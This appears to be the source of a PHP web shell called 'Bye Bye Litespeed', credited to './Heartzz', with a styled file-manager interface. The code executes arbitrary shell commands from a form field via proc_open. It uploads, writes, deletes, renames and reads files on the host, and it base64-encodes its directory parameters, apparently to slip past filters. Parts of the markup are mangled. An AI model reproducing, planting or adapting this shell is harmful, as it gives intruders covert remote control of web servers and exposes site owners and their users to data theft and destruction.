<!DOCTYPE html>
Good Bye Litespeed <title>Good Bye Litespeed</title>
<link href="https://fonts.googleapis.com/css?family=Arial%20Black" rel="stylesheet">
<style type="text/css">* {cursor: url(https://ani.cursors-4u.net/cursors/cur-13/cur1161.ani), url(https://ani.cursors-4u.net/cursors/cur-13/cur1161.png), auto !important;}</style><a href="https://www.cursors-4u.com/cursor/2018/06/08/hell-yeah-pointer-4.html" target="_blank" title="Hell Yeah Pointer 4"><img src="https://cur.cursors-4u.net/cursor.png" border="0" alt="Hell Yeah Pointer 4" style="position:absolute; top: 0px; right: 0px;" /></a>
<style>
body {
font-family: 'Arial Black', sans-serif;
color: #fff;
margin: 0;
padding: 0;
background-color: #242222c9;
}
.result-box-container {
position: relative;
margin-top: 20px;
}
.result-box {
width: 100%;
height: 200px;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
background-color: #f4f4f4;
overflow: auto;
box-sizing: border-box;
font-family: 'Arial Black', sans-serif;
color: #333;
}
.result-box::placeholder {
color: #999;
}
.result-box:focus {
outline: none;
border-color: #128616;
}
.result-box::-webkit-scrollbar {
width: 8px;
}
.result-box::-webkit-scrollbar-thumb {
background-color: #128616;
border-radius: 4px;
}
.container {
max-width: 80%;
margin: 20px auto;
padding: 20px;
background-color: #1e1e1e;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.header {
text-align: center;
margin-bottom: 20px;
}
.header h1 {
font-size: 24px;
}
.subheader {
text-align: center;
margin-bottom: 20px;
}
.subheader p {
font-size: 16px;
font-style: italic;
}
form {
margin-bottom: 20px;
}
form input[type="text"],
form textarea {
width: 100%;
padding: 8px;
margin-bottom: 10px;
border: 1px solid #ddd;
border-radius: 3px;
box-sizing: border-box;
}
form input[type="submit"] {
width: 100%;
padding: 10px;
background-color: #128616;
color: white;
border: none;
border-radius: 3px;
cursor: pointer;
}
form input[type="submit"]:hover {
background-color: #143015;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
padding: 8px;
text-align: left;
}
th {
background-color: #5c5c5c;
}
tr:nth-child(even) {
background-color: #9c9b9bce;
}
.item-name {
max-width: 200px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.size, .date {
width: 100px;
}
.permission {
font-weight: bold;
width: 50px;
text-align: center;
}
.writable {
color: #0db202;
}
.not-writable {
color: #d60909;
}
</style>
<div class="container">
$timezone = date_default_timezone_get();
date_default_timezone_set($timezone);
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDirectory = dirname(__FILE__);
function x($b) {
return base64_encode($b);
}
function y($b) {
return base64_decode($b);
}
foreach ($_GET as $c => $d) $_GET[$c] = y($d);
$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
chdir($currentDirectory);
$viewCommandResult = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['fileToUpload'])) {
$target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " Upload success";
} else {
echo "Sorry, there was an error uploading your file.";
}
} elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$newFolder = $currentDirectory . '/' . $_POST['folder_name'];
if (!file_exists($newFolder)) {
mkdir($newFolder);
echo '<hr>Folder created successfully!';
} else {
echo '<hr>Error: Folder already exists!';
}
} elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$newFile = $currentDirectory . '/' . $fileName;
if (!file_exists($newFile)) {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '<hr>File created successfully!';
} else {
echo '<hr>Error: Failed to create file!';
}
} else {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '<hr>File edited successfully!';
} else {
echo '<hr>Error: Failed to edit file!';
}
}
} elseif (isset($_POST['delete_file'])) {
$fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
if (file_exists($fileToDelete)) {
if (is_dir($fileToDelete)) {
if (deleteDirectory($fileToDelete)) {
echo '<hr>Folder deleted successfully!';
} else {
echo '<hr>Error: Failed to delete folder!';
}
} else {
if (unlink($fileToDelete)) {
echo '<hr>File deleted successfully!';
} else {
echo '<hr>Error: Failed to delete file!';
}
}
} else {
echo '<hr>Error: File or directory not found!';
}
} elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
$oldName = $currentDirectory . '/' . $_POST['old_name'];
$newName = $currentDirectory . '/' . $_POST['new_name'];
if (file_exists($oldName)) {
if (rename($oldName, $newName)) {
echo '<hr>Item renamed successfully!';
} else {
echo '<hr>Error: Failed to rename item!';
}
} else {
echo '<hr>Error: Item not found!';
}
} elseif (isset($_POST['cmd_input'])) {
$command = $_POST['cmd_input'];
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($errors) . '</textarea>';
} else {
$viewCommandResult = '<hr><p>Result:</p><textarea class="result-box">' . htmlspecialchars($output) . '</textarea>';
}
} else {
$viewCommandResult = '<hr><p>Error: Failed to execute command!</p>';
}
} elseif (isset($_POST['view_file'])) {
$fileToView = $currentDirectory . '/' . $_POST['view_file'];
if (file_exists($fileToView)) {
$fileContent = file_get_contents($fileToView);
$viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p><textarea class="result-box">' . htmlspecialchars($fileContent) . '</textarea>';
} else {
$viewCommandResult = '<hr><p>Error: File not found!</p>';
}
}
}
echo '
<div class="fig-ansi">
<pre id="taag_font_ANSIShadow" class="fig-ansi"><span style="color: rgb(67, 142, 241);"> <strong> __ Bye Bye Litespeed _____ __
__| |___ ___ ___ ___ ___ | __| | v.1.3
| | | .\'| . | . | .\'| | |__ | |__
|_____|__,|_ |___|__,|_|_| |_____|_____|
|___| ./Heartzz </strong> </span></pre>
</div>
';
echo "Zona waktu server: " . $timezone . "
";
echo "Waktu server saat ini: " . date('Y-m-d H:i:s');
echo '<hr>curdir: ';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
$homeLinkPrinted = false;
foreach ($directories as $index => $dir) {
$currentPath .= DIRECTORY_SEPARATOR . $dir;
if ($index == 0) {
echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
} else {
echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
}
}
echo '<a href="?d=' . x($scriptDirectory) . '"> / <span style="color: green;">[ GO Home ]</span></a>';
echo '
';
echo '<hr>';
echo '';
echo '';
echo '';
echo $viewCommandResult;
echo '<div>';
echo '</div>';
echo '<table border=1>';
echo '
<th>Item Name</th><th>Size</th><th>Date</th><th>Permissions</th><th>View </th><th>Delete</th><th>Rename </th>
';
foreach (scandir($currentDirectory) as $v) {
$u = realpath($v);
$s = stat($u);
$itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
$permission = substr(sprintf('%o', fileperms($u)), -4);
$writable = is_writable($u);
echo '
<td class="item-name"><a href="'.$itemLink.'">'.$v.'</a>
<td class="size">'.filesize($u).'
<td class="date" style="text-align: center;">'.date('Y-m-d H:i:s', filemtime($u)).'
<td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'
|
|
|
';
}
echo '';
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
</div>